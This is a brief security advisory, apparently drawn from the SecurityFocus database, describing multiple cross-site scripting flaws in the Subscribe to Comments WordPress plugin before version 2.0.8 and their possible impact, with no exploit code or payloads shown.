Subscribe to Comments 2.0 WordPress Plugin Multiple Cross Site Scripting Vulnerabilities

                                                source: http://www.securityfocus.com/bid/37105/info

The Subscribe to Comments plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

Versions prior to Subscribe to Comments 2.0.8 are vulnerable.
